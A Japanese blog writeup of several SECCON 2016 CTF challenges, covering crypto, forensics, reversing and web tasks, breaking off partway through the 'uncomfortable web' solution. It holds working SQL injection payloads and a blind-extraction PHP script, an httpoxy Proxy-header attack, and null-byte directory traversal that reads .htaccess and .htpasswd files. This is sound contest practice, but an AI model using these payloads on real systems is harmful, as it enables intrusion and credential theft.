読者です 読者をやめる 読者になる 読者になる

SECCON 2016 Online CTF Writeup

TomoriNaoのTomoriNaoです. 忘れる前に簡単なwriteup.

Vigenere [Crypto][100]

k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ

k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe

 |ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
-+----------------------------
A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}A
C|CDEFGHIJKLMNOPQRSTUVWXYZ{}AB
D|DEFGHIJKLMNOPQRSTUVWXYZ{}ABC
E|EFGHIJKLMNOPQRSTUVWXYZ{}ABCD
F|FGHIJKLMNOPQRSTUVWXYZ{}ABCDE
G|GHIJKLMNOPQRSTUVWXYZ{}ABCDEF
H|HIJKLMNOPQRSTUVWXYZ{}ABCDEFG
I|IJKLMNOPQRSTUVWXYZ{}ABCDEFGH
J|JKLMNOPQRSTUVWXYZ{}ABCDEFGHI
K|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ
L|LMNOPQRSTUVWXYZ{}ABCDEFGHIJK
M|MNOPQRSTUVWXYZ{}ABCDEFGHIJKL
N|NOPQRSTUVWXYZ{}ABCDEFGHIJKLM
O|OPQRSTUVWXYZ{}ABCDEFGHIJKLMN
P|PQRSTUVWXYZ{}ABCDEFGHIJKLMNO
Q|QRSTUVWXYZ{}ABCDEFGHIJKLMNOP
R|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ
S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR
T|TUVWXYZ{}ABCDEFGHIJKLMNOPQRS
U|UVWXYZ{}ABCDEFGHIJKLMNOPQRST
V|VWXYZ{}ABCDEFGHIJKLMNOPQRSTU
W|WXYZ{}ABCDEFGHIJKLMNOPQRSTUV
X|XYZ{}ABCDEFGHIJKLMNOPQRSTUVW
Y|YZ{}ABCDEFGHIJKLMNOPQRSTUVWX
Z|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY
{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ
}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{
Vigenere cipher
https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher

やるだけ

<?php

$table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}';
$n = ['DOEE', 'JWMN', 'UFWY'];

function search($c, $k)
{
    $table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}';
    $p = null;
    foreach(range(0, 27) as $i)
    {
        if($c == $table[($i + strpos($table, $k)) % 28])
        {
            $p = $table[$i];
            break;
        }
    }
    return $p;
}

$p = [];
foreach(range(0, 27) as $i)
{
    foreach(range(0, 2) as $x){$p[$x][0] = search($n[$x][0], $table[$i]);}
    foreach(range(0, 27) as $j)
    {
        foreach(range(0, 2) as $y){$p[$y][1] = search($n[$y][1], $table[$j]);}
        foreach(range(0, 27) as $k)
        {
            foreach(range(0, 2) as $z){$p[$z][2] = search($n[$z][2], $table[$k]);}
            foreach(range(0, 27) as $l)
            {
                foreach(range(0, 2) as $_){$p[$_] = $p[$_][0] . $p[$_][1] . $p[$_][2] . search($n[$_][3], $table[$l]);}

                $flag = 'SECCON{A' . $p[0] . 'BCDEDEFG' . $p[1] . 'KLMNOPQR' . $p[2] . 'VWXYYZ}';
                $md5 = md5($flag);
                if($md5 == 'f528a6ab914c1ecf856a1d93103948fe')
                {
                    print($flag . "\n");
                    exit();
                }
            }
        }
    }
}

VoIP [Forensics][100]

Extract a voice.
The flag format is SECCON{[A-Z0-9]}.
[voip.pcap](http://files.quals.seccon.jp/voip.pcap)

Wiresharkに突っ込んで聞くだけ

flagはSECCON{9001IVR}


Memory Analysis [Forensics][100]

Find the website that the fake svchost is accessing.
You can get the flag if you access the website!!

[memoryanalysis.zip](http://files.quals.seccon.jp/memoryanalysis.zip)
The challenge files are huge, please download it first. 
Hint1: http://www.volatilityfoundation.org/
Hint2: Check the hosts file

password: fjliejflsjiejlsiejee33cnc 

ヒントどおりにやるだけ.

問題文からsvchostがあやしいことは分かっているので

$ volatility-2.5.standalone.exe -f forensic_100.raw filescan | findstr svchost
Volatility Foundation Volatility Framework 2.5
0x000000000201ef90      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\svchost.exe
0x00000000020f0268      1      0 R--r-d \Device\HarddiskVolume1\WINDOWS\svchost.exe
0x00000000024a7a90      1      0 R--rwd \Device\HarddiskVolume1\WINDOWS\system32\svchost.exe

Windows直下にsvchostがあるのは明らかにおかしいので取り出す

$ volatility-2.5.standalone.exe -f forensic_100.raw dumpfiles --dump-dir dump -Q 0x00000000020f0268
Volatility Foundation Volatility Framework 2.5
ImageSectionObject 0x020f0268   None   \Device\HarddiskVolume1\WINDOWS\svchost.exe

$ file file.None.0x81efa390.img
file.None.0x81efa390.img: PE32 executable (console) Intel 80386, for MS Windows

$ strings file.None.0x81efa390.img
-- snip --
C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
-- snip --

http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pdにアクセスするが, 特にflagはない

次にヒントから, hostsファイルも怪しいので調べる.

$ volatility-2.5.standalone.exe -f forensic_100.raw filescan | findstr hosts
Volatility Foundation Volatility Framework 2.5
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

$ volatility-2.5.standalone.exe -f forensic_100.raw dumpfiles --dump-dir dump -Q 0x000000000217b748
Volatility Foundation Volatility Framework 2.5
DataSectionObject 0x0217b748   None   \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

$ type dump/file.None.0x819a3008.dat
--- snip ---
127.0.0.1       localhost
153.127.200.178    crattack.tistory.com
--- snip ---

以上のことから153.127.200.178 crattack.tistory.comという不明な対応付けがされている.

これらのことから, http://153.127.200.178/entry/Data-Science-import-pandas-as-pdにアクセスするとflagが得られる.

flagはSECCON{_h3110_w3_h4ve_fun_w4rg4m3_}


biscuiti [Web, Crypto][300]

Can you login as admin?
http://biscuiti.pwn.seccon.jp/
[biscuiti.zip](http://files.quals.seccon.jp/biscuiti.zip)

Note: You should estimate that exploits cost an hour.

コードを読むと認証処理部分でSQL Injectionが出来ることが分かる.

' UNION SELECT username,username FROM user;

でadminとしてログイン出来たが, flagが表示されない. さらにコードを読むと, どうやらisadminというbitが立っていないといけないようだ.

Cookie['name' => 'admin', 'isadmin' =>> true]のようにisadminがtrueなデータをSerializeし, 末尾にそれのMAC値を付けてBase64エンコードしたものを入れればflagが得られる.

MAC値はaes-128-cbcで処理されていて, ENC_KEYが分からない. しかしSQL Injectionで任意のユーザでログイン可能なため, (isadminは立っていないが)plainなデータとMAC値の双方を手に入れることが出来る. その状態から['name' => 'admin', 'isadmin' =>> true]MAC値を計算しろという問題のようだ.

以上のことから, Padding Oracle攻撃でflagが得られそう. あとはやるだけ.

コードどっかいったので後で更新する

よってflagはSECCON{049a65dae9b075ebb68dd78d7c8c300f3b532065}


Anti-Debugging [Binary][100]

Reverse it.
[bin](http://files.quals.seccon.jp/bin)
may some AV will alert,but no problem.

IDAに突っ込むと特に難読化とかされてないけど, Anti-Debugがいっぱいあるバイナリだと分かる.

別に難しいことはしてないので, jmpしてるところを書き換えて, フラグ出力してるところ(0x401663)に飛ばせば終わり.

flagはSECCON{check_Ascii85}


basiq [Web][100]

What is admin's password?☺
http://basiq.pwn.seccon.jp

ソースを眺めていると, client.jsに

if(loginuser == 'admin'){
    links.push({label:'Admin', href:'/admin/'});
}

と書かれている.

http://basiq.pwn.seccon.jp/adminにアクセスするとBASIC認証が掛かっている.

テキトーな値を入れていると, sqli出来ることに気が付く. あとはやるだけ.

<?php

require_once 'vendor/autoload.php';
use GuzzleHttp\Client;

function auth($password)
{
    try
    {
        $client = new Client(['auth' => ['admin', $password]]);
        return $client->get('http://basiq.pwn.seccon.jp/admin/');
    }
    catch(Exception $e)
    {
        //
    }
}

$password = 'SECCON{';
$pattern = implode('', range('a', 'z')) . implode('', range('A', 'Z')) . implode('', range(0, 9)) . '_}';

foreach(range(strlen($password) + 1, 20) as $len)
{
    foreach(str_split($pattern) as $c)
    {
        $t = $password . $c;
        $r = auth("A' or (id = 'admin' and mid(binary pass, 1, {$len}) = '{$t}') #");
        if($r != null && $r->getStatusCode() == 200)
        {
            $password .= $c;
            if($c == '}')
            {
                print('flag is ' . $password . "\n");
                exit();
            }
            else
            {
                print($password . "\n");
            }
            break;
        }
    }
}

flagはSECCON{Carnival}


pppppoxy [Web][200]

Log in as admin and get the flag
[pppppoxy.zip](http://files.quals.seccon.jp/pppppoxy.zip).
$ file pppppoxy.exe
pppppoxy.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

.NET製だし, 作問者的にVB.NETで書かれたものだろうと推測. きっと難読化/解析妨害が行われているとは思うが, 一応バイナリ的に見てみる.

dotPeekに突っ込んでみると, 案の定解析妨害されていることが分かる. de4dotを使って解析出来るようにしてみる.

$ de4dot -d pppppoxy.exe
Latest version and source code: http://www.de4dot.com/
21 deobfuscator modules loaded!

Detected Unknown Obfuscator (pppppoxy.exe)

$ de4dot pppppoxy.exe -p un
Latest version and source code: http://www.de4dot.com/
21 deobfuscator modules loaded!

Detected Unknown Obfuscator (pppppoxy.exe)
Cleaning pppppoxy.exe
Renaming all obfuscated symbols
Saving pppppoxy-cleaned.exe

これでdotPeekに突っ込むと, 読めるけど, 実行時処理とかが多すぎて全く分からない. なんとなくmd5などを計算しているのは分かる.

using System.Security.Cryptography;

namespace b
{
  internal delegate MD5CryptoServiceProvider Delegate91();
}

次に実行時のメモリを見てみると

023BC4B8-023BC56F: B8h(184)Byte  [Windows ANSI]
Address  : +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +F  0123456789ABCDEF
023BC4B8 : 53 00 45 00 43 00 43 00 4F 00 4E 00 7B 00 00 00  S E C C O N {    
023BC4C8 : 00 00 00 00 18 E9 16 71 01 00 00 00 70 00 00 00       ・q    p    
023BC4D8 : 00 00 00 00 18 E9 16 71 01 00 00 00 72 00 00 00       ・q    r    
023BC4E8 : 00 00 00 00 14 FD 16 71 00 00 00 00 00 00 00 00        q         
023BC4F8 : 80 10 12 00 A4 83 14 00 01 00 00 00 00 00 00 00     、・          
023BC508 : 08 E6 15 71 00 00 00 00 00 00 00 00 00 00 00 00   ・q             
023BC518 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00                   
023BC528 : 00 00 00 00 00 00 00 00 9C 9D 14 00 00 00 00 00          悃       
023BC538 : 6C 08 17 71 00 00 00 00 00 00 00 00 00 00 00 00  l  q             
023BC548 : 00 00 00 00 00 00 00 00 00 00 00 00 40 83 14 00              @・  
023BC558 : 00 00 00 00 4C D5 16 71 EC C4 3B 02 00 00 00 00      Lユ q・;      
023BC568 : 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ??                   

それらしいものはあるが, flagは分からない.

仕方ないのでWeb問として解く.

問題名から明らかだが, 恐らくプロキシ的な問題だろう. 「proxy 脆弱性」で検索してみると, 1番上に「CGI ウェブサーバがヘッダ Proxy の値を環境変数 HTTP_PROXY に設定する脆弱性」というものが出てきた.
https://jvn.jp/vu/JVNVU91485132/

どうやらProxyというヘッダに値を入れると, 任意のサーバをProxyとして経由してしまう脆弱性のようだ.
https://www.securesoft.co.jp/news_mt/docs/TR16-008_HTTP_PROXY(CVE-2016-5385).pdf.pdf)

テキトーにサーバを立てて, ログインリクエストを飛ばすと以下のようになった.

# サーバを立てる
$ php -S 127.0.0.1:8000
# リクエストを送信する
$ curl -H 'Proxy: http://127.0.0.1:8000' http://127.0.0.1 --data 'user=admin&pass=admin'
# 結果
127.0.0.1:54508 [404]: http://127.0.0.1/Authenticator?user=admin - No such file or directory

http://127.0.0.1/Authenticator?user=adminにアクセスしていることが分かる. 試しにアクセスしてみると

{"hash":"C432A8174394A3F655B2BD29BB075E4C"}

さっきデコンパイルした際にmd5値を計算しているような箇所があったし, C432A8174394A3F655B2BD29BB075E4Cは何かのmd5ハッシュだろう.

Hash Killerに投げてもC432A8174394A3F655B2BD29BB075E4Cの元の値は分からない. そもそもどうしてこのようなリクエストが送られるのか考えてみると, ユーザがユーザ名とパスワードを入力→整合チェックするためにhttp://127.0.0.1/Authenticator?user=adminにアクセス→結果を表示みたいな流れなんだろうと思いつく. つまりhttp://127.0.0.1/Authenticator?user=adminにリクエストが飛んできたとき, 自分が入力したパスワードのmd5値を返せば良さそうだ.

Authenticatorというファイルに{"hash":"21232F297A57A5A743894A0E4A801FC3"}って書き込んで, 同じようにリクエストを飛ばすと

$ curl -H 'Proxy: http://127.0.0.1:8000' http://127.0.0.1 --data 'user=admin&pass=admin'
<html><body><h2 style="margin-top:100px;text-align:center">SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}</h2></body></html>

よってflagはSECCON{D5691FB40B2AF60CA78DA78AC65A71E2}

バイナリ的に解けなかったの悔しいのでそのうち頑張る)


uncomfortable web [Web][300]

Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!

取り敢えずhttp://127.0.0.1:81/にアクセスするように書く

curl "http://127.0.0.1:81/"

すると次のようなレスポンスが得られる

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   903  100   903    0     0   721k      0 --:--:-- --:--:-- --:--:--  881k
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

幾つか怪しい部分はあるが, select.cgiauthedについて調べてみる.

curl "http://127.0.0.1:81/select.cgi"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
187   187    0   187    0     0  10251      0 --:--:-- --:--:-- --:--:-- 10388
187   187    0   187    0     0  10107      0 --:--:-- --:--:-- --:--:--  9842
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>
curl "http://127.0.0.1:81/authed"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
115   460  115   460    0     0   374k      0 --:--:-- --:--:-- --:--:--  449k
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Authorization Required</title>
</head><body>
<h1>Authorization Required</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

authedは認証が掛かっているようでアクセスできない.

select.cgiはtxtというパラメータを付けられるらしいので, 付けてみる.

curl "http://127.0.0.1:81/select.cgi?txt=a"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
102  1131    0  1131    0     0  60497      0 --:--:-- --:--:-- --:--:-- 62833
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/a.txt<br>
<br>
                       /$$     /$$                       /$$       /$$            /$$                /$$    <br>
                      | $$    | $$                      | $$      /$$/           | $$               | $$    <br>
  /$$$$$$  /$$   /$$ /$$$$$$  | $$$$$$$   /$$$$$$   /$$$$$$$     /$$//$$$$$$    /$$$$$$  /$$   /$$ /$$$$$$  <br>
 |____  $$| $$  | $$|_  $$_/  | $$__  $$ /$$__  $$ /$$__  $$    /$$/|____  $$  |_  $$_/ |  $$ /$$/|_  $$_/  <br>
  /$$$$$$$| $$  | $$  | $$    | $$  \ $$| $$$$$$$$| $$  | $$   /$$/  /$$$$$$$    | $$    \  $$$$/   | $$    <br>
 /$$__  $$| $$  | $$  | $$ /$$| $$  | $$| $$_____/| $$  | $$  /$$/  /$$__  $$    | $$ /$$ &gt;$$  $$   | $$ /$$<br>
|  $$$$$$$|  $$$$$$/  |  $$$$/| $$  | $$|  $$$$$$$|  $$$$$$$ /$$/  |  $$$$$$$ /$$|  $$$$//$$/\  $$  |  $$$$/<br>
 \_______/ \______/    \___/  |__/  |__/ \_______/ \_______/|__/    \_______/|__/ \___/ |__/  \__/   \___/  <br>
<br>
<br>
</body></html>

明らかにauthed以下のa.txtというファイルにアクセスしてることが分かる.

ディレクトリトラバーサルが出来ないか試すと出来た.

curl "http://127.0.0.1:81/select.cgi?txt=.htaccess%00"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
117   353    0   353    0     0  19503      0 --:--:-- --:--:-- --:--:-- 20764
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
AuthUserFile /var/www/html-inner/authed/.htpasswd<br>
AuthGroupFile /dev/null<br>
AuthName &quot;SECCON 2016&quot;<br>
AuthType Basic<br>
Require user keigo<br>
</body></html>

.htpasswdは/var/www/html-inner/authed/.htpasswdにあるらしいので取り出す.

curl "http://127.0.0.1:81/select.cgi?txt=.htpasswd%00"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
108   216    0   216    0     0  11647      0 --:--:-- --:--:-- --:--:-- 12000
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>

Basic認証なのでkeigo:LdnoMJCeVy.SEをjohnに投げるとパスワードがtestであることが分かる.

これらの情報をもとにauthedにアクセスする.

curl --user keigo:test "http://127.0.0.1:81/authed/"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
103  1452  103  1452    0     0   373k      0 --:--:-- --:--:-- --:--:--  472k
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /authed</title>
 </head>
 <body>
<h1>Index of /authed</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="a.txt">a.txt</a></td><td align="right">30-Nov-2016 09:59  </td><td align="right">888 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="b.txt">b.txt</a></td><td align="right">28-Nov-2016 12:00  </td><td align="right"> 78 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="c.txt">c.txt</a></td><td align="right">30-Nov-2016 10:04  </td><td align="right"> 48 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="sqlinj/">sqlinj/</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

sqlinjというディレクトリが明らかに怪しい. アクセスしてみると

curl --user keigo:test "http://127.0.0.1:81/authed/sqlinj/"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /authed/sqlinj</title>
 </head>
 <body>
<h1>Index of /authed/sqlinj</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/authed/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="1.cgi">1.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="2.cgi">2.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="3.cgi">3.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="4.cgi">4.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="5.cgi">5.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="6.cgi">6.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="7.cgi">7.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="8.cgi">8.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="9.cgi">9.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="10.cgi">10.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="11.cgi">11.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="12.cgi">12.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="13.cgi">13.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="14.cgi">14.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="15.cgi">15.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="16.cgi">16.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="17.cgi">17.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="18.cgi">18.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="19.cgi">19.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="20.cgi">20.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="21.cgi">21.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="22.cgi">22.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="23.cgi">23.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="24.cgi">24.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="25.cgi">25.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="26.cgi">26.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="27.cgi">27.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="28.cgi">28.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="29.cgi">29.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="30.cgi">30.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="31.cgi">31.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="32.cgi">32.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="33.cgi">33.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="34.cgi">34.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="35.cgi">35.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="36.cgi">36.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="37.cgi">37.cgi</a></td><td align="right">28-Nov-2016 11:41  </td><td align="right">750 </td><td>&nbsp;</td></tr>
